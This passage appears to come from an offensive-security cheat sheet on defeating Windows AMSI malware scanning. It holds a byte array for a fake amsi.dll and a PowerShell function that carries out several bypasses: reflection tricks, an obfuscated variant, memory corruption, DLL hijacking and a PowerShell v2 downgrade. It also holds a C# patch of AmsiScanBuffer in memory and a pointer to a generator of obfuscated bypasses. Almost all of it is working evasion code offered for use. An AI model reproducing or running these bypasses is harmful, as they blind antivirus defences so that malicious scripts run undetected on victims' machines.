0 0 0 186 40 0 0 0 0 0 0 158 40 0 0 0 0 0 0 124 40 0 0 0 0 0 0 106 40 0 0 0 0 0 0 92
40 0 0 0 0 0 0 80 40 0 0 0 0 0 0 0 0 0 0 0 0 0 0 40 0 95 95 116 101 108 101 109 101
116 114 121 95 109 97 105 110 95 105 110 118 111 107 101 95 116 114 105 103 103 101
114 0 41 0 95 95 116 101 108 101 109 101 116 114 121 95 109 97 105 110 95 114 101 116
117 114 110 95 116 114 105 103 103 101 114 0 8 0 95 95 67 95 115 112 101 99 105 102
105 99 95 104 97 110 100 108 101 114 0 0 37 0 95 95 115 116 100 95 116 121 112 101 95
105 110 102 111 95 100 101 115 116 114 111 121 95 108 105 115 116 0 0 62 0 109 101
109 115 101 116 0 0 86 67 82 85 78 84 73 77 69 49 52 48 46 100 108 108 0 0 54 0 95
105 110 105 116 116 101 114 109 0 55 0 95 105 110 105 116 116 101 114 109 95 101 0 63
0 95 115 101 104 95 102 105 108 116 101 114 95 100 108 108 0 51 0 95 105 110 105 116
105 97 108 105 122 101 95 110 97 114 114 111 119 95 101 110 118 105 114 111 110 109
101 110 116 0 0 52 0 95 105 110 105 116 105 97 108 105 122 101 95 111 110 101 120 105
116 95 116 97 98 108 101 0 0 60 0 95 114 101 103 105 115 116 101 114 95 111 110 101
120 105 116 95 102 117 110 99 116 105 111 110 0 34 0 95 101 120 101 99 117 116 101 95
111 110 101 120 105 116 95 116 97 98 108 101 0 30 0 95 99 114 116 95 97 116 101 120
105 116 0 22 0 95 99 101 120 105 116 0 0 97 112 105 45 109 115 45 119 105 110 45 99
114 116 45 114 117 110 116 105 109 101 45 108 49 45 49 45 48 46 100 108 108 0 174 4
82 116 108 67 97 112 116 117 114 101 67 111 110 116 101 120 116 0 181 4 82 116 108 76
111 111 107 117 112 70 117 110 99 116 105 111 110 69 110 116 114 121 0 0 188 4 82 116
108 86 105 114 116 117 97 108 85 110 119 105 110 100 0 0 146 5 85 110 104 97 110 100
108 101 100 69 120 99 101 112 116 105 111 110 70 105 108 116 101 114 0 0 82 5 83 101
116 85 110 104 97 110 100 108 101 100 69 120 99 101 112 116 105 111 110 70 105 108
116 101 114 0 15 2 71 101 116 67 117 114 114 101 110 116 80 114 111 99 101 115 115 0
112 5 84 101 114 109 105 110 97 116 101 80 114 111 99 101 115 115 0 0 112 3 73 115 80
114 111 99 101 115 115 111 114 70 101 97 116 117 114 101 80 114 101 115 101 110 116 0
48 4 81 117 101 114 121 80 101 114 102 111 114 109 97 110 99 101 67 111 117 110 116
101 114 0 16 2 71 101 116 67 117 114 114 101 110 116 80 114 111 99 101 115 115 73 100
0 20 2 71 101 116 67 117 114 114 101 110 116 84 104 114 101 97 100 73 100 0 0 221 2
71 101 116 83 121 115 116 101 109 84 105 109 101 65 115 70 105 108 101 84 105 109 101
0 84 3 73 110 105 116 105 97 108 105 122 101 83 76 105 115 116 72 101 97 100 0 106 3
73 115 68 101 98 117 103 103 101 114 80 114 101 115 101 110 116 0 75 69 82 78 69 76
51 50 46 100 108 108 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0

0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 50 162 223 45 153 43 0 0 205 93 32 210 102 212 255 255 255 255
255 255 0 0 0 0 1 0 0 0 2 0 0 0 47 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 16 0 0 65 16 0 0 48 37 0 0 68 16 0
0 148 16 0 0 16 38 0 0 148 16 0 0 191 17 0 0 52 37 0 0 192 17 0 0 66 18 0 0 96 37 0 0
68 18 0 0 76 19 0 0 164 37 0 0 76 19 0 0 160 19 0 0 144 37 0 0 160 19 0 0 221 19 0 0
72 38 0 0 224 19 0 0 20 20 0 0 24 38 0 0 20 20 0 0 229 20 0 0 212 37 0 0 232 20 0 0
89 21 0 0 220 37 0 0 92 21 0 0 149 21 0 0 16 38 0 0 152 21 0 0 184 21 0 0 16 38 0 0
184 21 0 0 205 21 0 0 16 38 0 0 208 21 0 0 248 21 0 0 16 38 0 0 248 21 0 0 13 22 0 0
16 38 0 0 16 22 0 0 113 22 0 0 144 37 0 0 116 22 0 0 164 22 0 0 16 38 0 0 164 22 0 0
184 22 0 0 16 38 0 0 184 22 0 0 1 23 0 0 24 38 0 0 4 23 0 0 205 23 0 0 32 38 0 0 208
23 0 0 108 24 0 0 232 37 0 0 108 24 0 0 144 24 0 0 24 38 0 0 144 24 0 0 187 24 0 0 24
38 0 0 188 24 0 0 11 25 0 0 24 38 0 0 12 25 0 0 35 25 0 0 16 38 0 0 36 25 0 0 208 25
0 0 44 38 0 0 252 25 0 0 23 26 0 0 16 38 0 0 32 26 0 0 101 27 0 0 56 38 0 0 104 27 0
0 178 27 0 0 72 38 0 0 180 27 0 0 254 27 0 0 72 38 0 0 8 28 0 0 201 29 0 0 88 38 0 0
80 30 0 0 82 30 0 0 104 38 0 0 82 30 0 0 105 30 0 0 136 37 0 0 105 30 0 0 133 30 0 0
136 37 0 0 133 30 0 0 187 30 0 0 204 37 0 0 187 30 0 0 211 30 0 0 8 38 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 54 0 0 0 73 0 0 0 76
0 0 0 11 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 1 0 24 0 0 0 24 0 0 128 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 2 0 0 0 48 0 0 128 0 0 0
0 0 0 0 0 0 0 0 0 0 0 1 0 9 4 0 0 72 0 0 0 96 96 0 0 125 1 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 60 63 120 109 108 32 118 101 114 115 105 111 110 61 39 49 46 48 39 32 101
110 99 111 100 105 110 103 61 39 85 84 70 45 56 39 32 115 116 97 110 100 97 108 111
110 101 61 39 121 101 115 39 63 62 13 10 60 97 115 115 101 109 98 108 121 32 120 109
108 110 115 61 39 117 114 110 58 115 99 104 101 109 97 115 45 109 105 99 114 111 115
111 102 116 45 99 111 109 58 97 115 109 46 118 49 39 32 109 97 110 105 102 101 115
116 86 101 114 115 105 111 110 61 39 49 46 48 39 62 13 10 32 32 60 116 114 117 115
116 73 110 102 111 32 120 109 108 110 115 61 34 117 114 110 58 115 99 104 101 109 97
115 45 109 105 99 114 111 115 111 102 116 45 99 111 109 58 97 115 109 46 118 51 34 62
13 10 32 32 32 32 60 115 101 99 117 114 105 116 121 62 13 10 32 32 32 32 32 32 60 114

```
101 113 117 101 115 116 101 100 80 114 105 118 105 108 101 103 101 115 62 13 10 32 32
32 32 32 32 32 32 60 114 101 113 117 101 115 116 101 100 69 120 101 99 117 116 105
111 110 76 101 118 101 108 32 108 101 118 101 108 61 39 97 115 73 110 118 111 107 101
114 39 32 117 105 65 99 99 101 115 115 61 39 102 97 108 115 101 39 32 47 62 13 10 32
32 32 32 32 32 60 47 114 101 113 117 101 115 116 101 100 80 114 105 118 105 108 101
103 101 115 62 13 10 32 32 32 32 60 47 115 101 99 117 114 105 116 121 62 13 10 32 32
60 47 116 114 117 115 116 73 110 102 111 62 13 10 60 47 97 115 115 101 109 98 108 121
62 13 10 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 0
0 24 0 0 0 248 160 0 161 88 161 96 161 56 162 80 162 88 162 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0"

    if (([IntPtr]::Size) -eq 8)
    {
        Write-Verbose "64 bit process detected."
        $DllBytes = $AmsiX64
    }
    elseif (([IntPtr]::Size) -eq 4)
    {
        Write-Verbose "32 bit process detected."
        $DllBytes = $AmsiX86
    }

    switch($method)
    {

        "unload"
        {
            Write-Verbose "Using Matt Graeber's Reflection method."
            if ($ShowOnly -eq $True)
            {
                Write-Output "Use the following scriptblock before you run a script
which gets detected."
                Write-Output
'[Ref].Assembly.GetType(''System.Management.Automation.AmsiUtils'').GetField(''amsiIn
itFailed'',''NonPublic,Static'').SetValue($null,$true)'
            }
            else
            {
                Write-Output "Executing the bypass."

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFa
iled','NonPublic,Static').SetValue($null,$true)
            }
        }

        "unloadsilent"
        {
            Write-Verbose "Using Matt Graeber's Reflection method with WMF5
```

```
autologging bypass."
            if ($ShowOnly -eq $True)
            {
                Write-Output "Use the following scriptblock before you run a script
which gets detected."
                Write-Output '[Delegate]::CreateDelegate(("Func``3[String,
$(([String].Assembly.GetType(''System.Reflection.Bindin''+''gFlags'')).FullName),
System.Reflection.FieldInfo]" -as [String].Assembly.GetType(''System.T''+''ype'')),
[Object]([Ref].Assembly.GetType(''System.Management.Automation.AmsiUtils'')),
(''GetFie''+''ld'')).Invoke(''amsiInitFailed'',((''Non''+''Public,Static'') -as
[String].Assembly.GetType(''System.Reflection.Bindin''+''gFlags''))).SetValue($null,$
True)'
            }
            else
            {
                Write-Output "Executing the bypass."
                [Delegate]::CreateDelegate(("Func``3[String,
$(([String].Assembly.GetType('System.Reflection.Bindin'+'gFlags')).FullName),
System.Reflection.FieldInfo]" -as [String].Assembly.GetType('System.T'+'ype')),
[Object]([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')),
('GetFie'+'ld')).Invoke('amsiInitFailed',(('Non'+'Public,Static') -as
[String].Assembly.GetType('System.Reflection.Bindin'+'gFlags'))).SetValue($null,$True
)
            }
        }

        "unloadobfuscated"
        {
            Write-Verbose "Using Matt Graeber's Reflection method with obfuscation
from Daneil Bohannon's Invoke-Obfuscation - which bypasses WMF5 autologging."
            if ($ShowOnly -eq $True)
            {
                $code = @"
Sv  ('R9'+'HYt') ( " )
)93]rahC[]gnirtS[,'UCS'(ecalpeR.)63]rahC[]gnirtS[,'aEm'(ecalpeR.)')eurt'+'aEm,llun'+'
aEm(eulaVt'+'eS'+'.)UCScit'+'atS,ci'+'lbuPnoNUCS'+',U'+'CSdeli'+'aFt'+'inI'+'is'+'maU
CS('+'dle'+'iF'+'teG'+'.'+')'+'UCSslitU'+'is'+'mA.noitamotu'+'A.tn'+'em'+'eganaM.'+'m
'+'e'+'t'+'sySUCS(epy'+'TteG.ylbmessA'+'.]'+'feR['( (noisserpxE-ekovnI"  );  Invoke-
Expression( -Join ( VaRIAbLe  ('R9'+'hyT')  -val  )[ - 1..- (( VaRIAbLe  ('R9'+'hyT')
-val  ).Length)])
"@
                Write-Output "Use the following scriptblock before you run a script
which gets detected."
                Write-Output $code
            }
            else
            {
                Write-Output "Executing the bypass."
                Sv  ('R9'+'HYt') ( " )
)93]rahC[]gnirtS[,'UCS'(ecalpeR.)63]rahC[]gnirtS[,'aEm'(ecalpeR.)')eurt'+'aEm,llun'+'
aEm(eulaVt'+'eS'+'.)UCScit'+'atS,ci'+'lbuPnoNUCS'+',U'+'CSdeli'+'aFt'+'inI'+'is'+'maU
CS('+'dle'+'iF'+'teG'+'.'+')'+'UCSslitU'+'is'+'mA.noitamotu'+'A.tn'+'em'+'eganaM.'+'m
'+'e'+'t'+'sySUCS(epy'+'TteG.ylbmessA'+'.]'+'feR['( (noisserpxE-ekovnI"  );  Invoke-
Expression( -Join ( VaRIAbLe  ('R9'+'hyT')  -val  )[ - 1..- (( VaRIAbLe  ('R9'+'hyT')
-val  ).Length)])

            }
        }
```

```
        "unload2"
        {
            Write-Verbose "Using Matt Graeber's second Reflection method."
            if ($ShowOnly -eq $True)
            {
                Write-Output "Use the following scriptblock before you run a script
which gets detected."
                Write-Output
'[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType(''System.Manage
ment.Automation.AmsiUtils'').GetField(''amsiContext'',
[Reflection.BindingFlags]''NonPublic,Static'').GetValue($null),0x41414141)'
            }
            else
            {
                Write-Output "Executing the bypass."

[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType('System.Manageme
nt.Automation.AmsiUtils').GetField('amsiContext',
[Reflection.BindingFlags]'NonPublic,Static').GetValue($null),0x41414141)
            }
        }

        "dllhijack"
        {
            Write-Verbose "Using Cornelis de Plaa's DLL hijack method."
            if ($ShowOnly -eq $True)
            {
                Write-Output "Copy powershell.exe from
C:\Windows\System32\WindowsPowershell\v1.0 to a local folder and dropa fake amsi.dll
in the same directory."
                Write-Output "Run the new powershell.exe and AMSI should be gone for
that session."
            }
            else
            {
                [Byte[]] $temp = $DllBytes -split ' '
                Write-Output "Executing the bypass."
                Write-Verbose "Dropping the fake amsi.dll to disk."
                [System.IO.File]::WriteAllBytes("$pwd\amsi.dll", $temp)

                Write-Verbose "Copying powershell.exe to the current working
directory."
                Copy-Item -Path
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Destination $pwd

                Write-Verbose "Starting powershell.exe from the current working
directory."
                & "$pwd\powershell.exe"

            }
        }

        "psv2"
        {
            Write-Verbose "Using PowerShell version 2 which doesn't support AMSI."
            if ($ShowOnly -eq $True)
            {
                Write-Output "If .Net version 2.0.50727 is installed, run powershell
-v 2 and run scripts from the new PowerShell process."
```

```
            }
            else
            {
                Write-Verbose "Checking if .Net version 2.0.50727 is installed."
                $versions = Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | Get-ItemProperty -name Version -EA 0 | Where { $_.PSChildName -match '^(?!S)\p{L}'} | Select -ExpandProperty Version
                if($versions -match "2.0.50727")
                {
                    Write-Verbose ".Net version 2.0.50727 found."
                    Write-Output "Executing the bypass."
                    powershell.exe -version 2
                }
                else
                {
                    Write-Verbose ".Net version 2.0.50727 not found. Can't start PowerShell v2."
                }
            }
        }

        "obfuscation"
        {
            Write-Output "AMSI and the AVs which support it can be bypassed using obfuscation techqniues."
            Write-Output "ISE-Steroids (http://www.powertheshell.com/isesteroidsmanual/download/) and Invoke-Obfuscation can be used (https://github.com/danielbohannon/Invoke-Obfuscation)."
        }
    }

}
```

Adam Chester Patch

Bypass Update by Adam Chester https://twitter.com/*xpn*/status/1170852932650262530

```
$Winpatch = @"
using System;
using System.Runtime.InteropServices;

public class patch
{
    // https://twitter.com/_xpn_/status/1170852932650262530
    static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
    static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };

    public static void it()
    {
        if (is64Bit())
            PatchAmsi(x64);
        else
            PatchAmsi(x86);
    }
```

```
    private static void PatchAmsi(byte[] patch)
    {
        try
        {
            var lib = Win32.LoadLibrary("a" + "ms" + "i.dll");
            var addr = Win32.GetProcAddress(lib, "AmsiScanBuffer");

            uint oldProtect;
            Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);

            Marshal.Copy(patch, 0, addr, patch.Length);
            Console.WriteLine("Patch Sucessfull");
        }
        catch (Exception e)
        {
            Console.WriteLine(" [x] {0}", e.Message);
            Console.WriteLine(" [x] {0}", e.InnerException);
        }
    }

    private static bool is64Bit()
        {
            bool is64Bit = true;

            if (IntPtr.Size == 4)
                is64Bit = false;

            return is64Bit;
        }
}

class Win32
{
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);

    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint
flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type -TypeDefinition $Winpatch -Language CSharp
[patch]::it()
```

AMSI.fail

> AMSI.fail generates obfuscated PowerShell snippets that break or disable AMSI for the current process. The snippets are randomly selected from a small pool of techniques/variations before being obfuscated. Every snippet is obfuscated at runtime/request so that no generated output share the same signatures. - https://amsi.fail/

References

- S3cur3Th1sSh1t - Amsi-Bypass-Powershell